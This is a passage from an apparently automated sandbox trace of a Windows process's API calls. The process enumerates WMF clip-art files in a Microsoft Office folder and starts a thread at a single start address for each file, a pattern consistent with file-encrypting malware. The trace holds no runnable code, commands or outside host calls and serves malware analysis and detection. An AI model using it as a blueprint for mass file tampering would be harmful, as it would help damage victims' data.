(in: _Dest=0x20509720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.269] wcscat (in: _Dest=0x20509720, _Source="BL00012_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" [0120.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1318 [0120.270] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0120.270] wcscmp (_String1="BL00045_.WMF", _String2=".") returned 1 [0120.270] wcscmp (_String1="BL00045_.WMF", _String2="..") returned 1 [0120.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509b10 [0120.270] wcscpy (in: _Dest=0x20509b10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.270] wcscat (in: _Dest=0x20509b10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.270] wcscat (in: _Dest=0x20509b10, _Source="BL00045_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" [0120.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd54 [0120.271] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0120.271] wcscmp (_String1="BL00098_.WMF", _String2=".") returned 1 [0120.271] wcscmp (_String1="BL00098_.WMF", _String2="..") returned 1 [0120.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509a80 [0120.272] wcscpy (in: _Dest=0x20509a80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.272] wcscat (in: _Dest=0x20509a80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.272] wcscat (in: _Dest=0x20509a80, _Source="BL00098_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" [0120.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0120.272] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0120.272] wcscmp (_String1="BL00105_.WMF", _String2=".") returned 1 [0120.273] wcscmp (_String1="BL00105_.WMF", _String2="..") returned 1 [0120.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x205099f0 [0120.273] wcscpy (in: _Dest=0x205099f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.273] wcscat (in: _Dest=0x205099f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.273] wcscat (in: _Dest=0x205099f0, _Source="BL00105_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" [0120.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205099f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0 [0120.274] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0120.274] wcscmp (_String1="BL00122_.WMF", _String2=".") returned 1 [0120.274] wcscmp (_String1="BL00122_.WMF", _String2="..") returned 1 [0120.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509960 [0120.274] wcscpy (in: _Dest=0x20509960, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.274] wcscat (in: _Dest=0x20509960, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.274] wcscat (in: _Dest=0x20509960, _Source="BL00122_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" [0120.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec [0120.275] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0120.275] wcscmp (_String1="BL00130_.WMF", _String2=".") returned 1 [0120.275] wcscmp (_String1="BL00130_.WMF", _String2="..") returned 1 [0120.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x205098d0 [0120.275] wcscpy (in: _Dest=0x205098d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.275] wcscat (in: _Dest=0x205098d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.275] wcscat (in: _Dest=0x205098d0, _Source="BL00130_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" [0120.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205098d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94 [0120.276] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0120.276] wcscmp (_String1="BL00148_.WMF", _String2=".") returned 1 [0120.276] wcscmp (_String1="BL00148_.WMF", _String2="..") returned 1 [0120.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509ba0 [0120.276] wcscpy (in: _Dest=0x20509ba0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.276] wcscat (in: _Dest=0x20509ba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.276] wcscat (in: _Dest=0x20509ba0, _Source="BL00148_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" [0120.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509ba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0120.277] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0120.277] wcscmp (_String1="BL00152_.WMF", _String2=".") returned 1 [0120.277] wcscmp (_String1="BL00152_.WMF", _String2="..") returned 1 [0120.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a4a0 [0120.278] wcscpy (in: _Dest=0x2050a4a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.278] wcscat (in: _Dest=0x2050a4a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.278] wcscat (in: _Dest=0x2050a4a0, _Source="BL00152_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" [0120.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0120.279] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0120.279] wcscmp (_String1="BL00194_.WMF", _String2=".") returned 1 [0120.279] wcscmp (_String1="BL00194_.WMF", _String2="..") returned 1 [0120.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x205097b0 [0120.279] wcscpy (in: _Dest=0x205097b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.279] wcscat (in: _Dest=0x205097b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.279] wcscat (in: _Dest=0x205097b0, _Source="BL00194_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" [0120.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205097b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0120.279] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0120.279] wcscmp (_String1="BL00195_.WMF", _String2=".") returned 1 [0120.280] wcscmp (_String1="BL00195_.WMF", _String2="..") returned 1 [0120.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509840 [0120.280] wcscpy (in: _Dest=0x20509840, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.280] wcscat (in: _Dest=0x20509840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.280] wcscat (in: _Dest=0x20509840, _Source="BL00195_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" [0120.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0120.280] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0120.280] wcscmp (_String1="BL00234_.WMF", _String2=".") returned 1 [0120.280] wcscmp (_String1="BL00234_.WMF", _String2="..") returned 1 [0120.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a800 [0120.281] wcscpy (in: _Dest=0x2050a800, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.281] wcscat (in: _Dest=0x2050a800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.281] wcscat (in: _Dest=0x2050a800, _Source="BL00234_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" [0120.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510 [0120.281] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0120.281] wcscmp (_String1="BL00242_.WMF", _String2=".") returned 1 [0120.281] wcscmp (_String1="BL00242_.WMF", _String2="..") returned 1 [0120.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050b070 [0120.282] wcscpy (in: _Dest=0x2050b070, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.282] wcscat (in: _Dest=0x2050b070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.282] wcscat (in: _Dest=0x2050b070, _Source="BL00242_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" [0120.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0120.282] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0120.282] wcscmp (_String1="BL00247_.WMF", _String2=".") returned 1 [0120.282] wcscmp (_String1="BL00247_.WMF", _String2="..") returned 1 [0120.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a920 [0120.282] wcscpy (in: _Dest=0x2050a920, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.283] wcscat (in: _Dest=0x2050a920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.283] wcscat (in: _Dest=0x2050a920, _Source="BL00247_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" [0120.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0120.283] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0120.283] wcscmp (_String1="BL00248_.WMF", _String2=".") returned 1 [0120.283] wcscmp (_String1="BL00248_.WMF", _String2="..") returned 1 [0120.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509690 [0120.283] wcscpy (in: _Dest=0x20509690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.284] wcscat (in: _Dest=0x20509690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.284] wcscat (in: _Dest=0x20509690, _Source="BL00248_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" [0120.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0120.284] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0120.284] wcscmp (_String1="BL00252_.WMF", _String2=".") returned 1 [0120.284] wcscmp (_String1="BL00252_.WMF", _String2="..") returned 1 [0120.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a9b0 [0120.284] wcscpy (in: _Dest=0x2050a9b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.284] wcscat (in: _Dest=0x2050a9b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.284] wcscat (in: _Dest=0x2050a9b0, _Source="BL00252_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" [0120.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0120.285] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0120.285] wcscmp (_String1="BL00254_.WMF", _String2=".") returned 1 [0120.285] wcscmp (_String1="BL00254_.WMF", _String2="..") returned 1 [0120.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509c30 [0120.285] wcscpy (in: _Dest=0x20509c30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.285] wcscat (in: _Dest=0x20509c30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.285] wcscat (in: _Dest=0x20509c30, _Source="BL00254_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" [0120.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0120.286] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, 